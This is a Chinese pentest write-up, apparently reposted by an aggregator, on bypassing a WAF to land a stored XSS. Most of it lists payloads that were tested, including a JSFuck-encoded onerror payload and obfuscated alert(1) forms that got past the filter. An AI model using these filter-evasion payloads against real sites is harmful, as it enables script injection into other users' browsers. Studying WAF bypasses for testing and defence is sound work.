记一则有趣的存储XSS Bypass经历
Posted OnePiece安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一则有趣的存储XSS Bypass经历相关的知识,希望对你有一定的参考价值。
本文以一次真实渗透测试环境中bypass-xss案例进行分析。
直接进入主题,Bypass分析过程:
这里我们注入一个<img src=x>发现此处解析了我们标签,感觉有戏!开始一场漫长的Bypass过程。
首先尝试探测下那些会被过滤,使用XSS定位器:<xxx yyy=zzz>123<xxx/>”;!–”=&{()}成功解析:
<script>123<script>未waf
<script>alert(1)</script>被waf:
<script>alert</script>未waf
<script>alert(1)</script>被waf
<script>alert(1);</script>被waf
<script>confirm(1);</script>被waf
<script>prompt(1);</script>被waf
<script>eval(1)<script>被waf
基本判断只要存在弹窗函数+()就被waf了:因此我在想是不是过滤圆括号?
探测不使用圆括号poc如下:
<script>alert`1`</script>被waf
<script>alert`1`;</script>被waf
<Img src = xonerror = "javascript: window.onerror = alert; throw XSS">被waf:
使用javascript协议均被waf:
使用十进制,各类编码,js等:
<IMGSRC=javascript:alert(
'XSS')>
<IMGSRC=javascript:alert('XSS')>
<IMGSRC=javascript:alert('XSS')>
<img src=a onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>
等等均被waf
综上所述我整理了被waf的点如下:
测试点 |
被waf |
未waf |
alert |
1 | |
alert() |
1 | |
Javascript: |
1 | |
<a>各类标签 |
1 | |
on事件 |
1 |
于是我开始对alert(1)进行fuzz,其实只要alert被执行了即可绕过:
使用JS window对象的例如top、parent、opener进行测试:
1、top该变更永远指分割窗口最高层次的浏览器窗口。如果计划从分割窗口的最高层次开始执行命令,就可以用top变量。
2、opener opener用于在window.open的页面引用执行该window.open方法的的页面的对象。例如:A页面通过window.open()方 法弹出了B页面,在B页面中就可以通过opener来引用A页面,这样就可以通过这个对象来对A页面进行操作。
3、parent parent用于在iframe,frame中生成的子页面中访问父页面的对象。例如:A页面中有一个iframe或frame,那么iframe 或frame中的页面就可以通过parent对象来引用A页面中的对象。这样就可以获取或返回值到A页面中。
测试POC如下:
<img src=a onerror=top[alert(1)]>被waf:
<img src=a onerror=parent[alert(1)]>被waf:
<img src=a onerror=opener[alert(1)]>被waf:
突然间我顿悟了!其实只要构造畸形的alert(1)就有可能绕过:
例如:
top['alert'](1)
top['al'+'ert'](1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
a=alert,a(1)
[1].find(alert)
al\u0065rt(1)
al%0aert(1)
终于!再使用畸形alert混淆后成功绕过
<img src=aonerror=top[‘alert’](1)> Bypass
<img src=aonerror=[1].find(alert)> Bypass
bypass xss如下:
触发存储XSS:
在平时渗透当中,在我们对bypass还一脸懵逼的状态下,可以通xss bypass_fuzz 字典进行fuzz尝试。这是我参考freebuf上的文章:https://www.freebuf.com/articles/web/153055.html
整理的xss_bypass.dict:
fuzz结果如下397即时可能bypass的语句,可以进行提取后在手工深入分析提高bypass效率与几率:
在适当的场景适当使用,例如像本案例一样需要对alert()混淆畸形绕过,可以仅对弹窗函数进行fuzz,字典是固定的,但是fuzz是可以天马行空的。
后台回复 bypass 即可获取fuzz字典。
以上是关于记一则有趣的存储XSS Bypass经历的主要内容,如果未能解决你的问题,请参考以下文章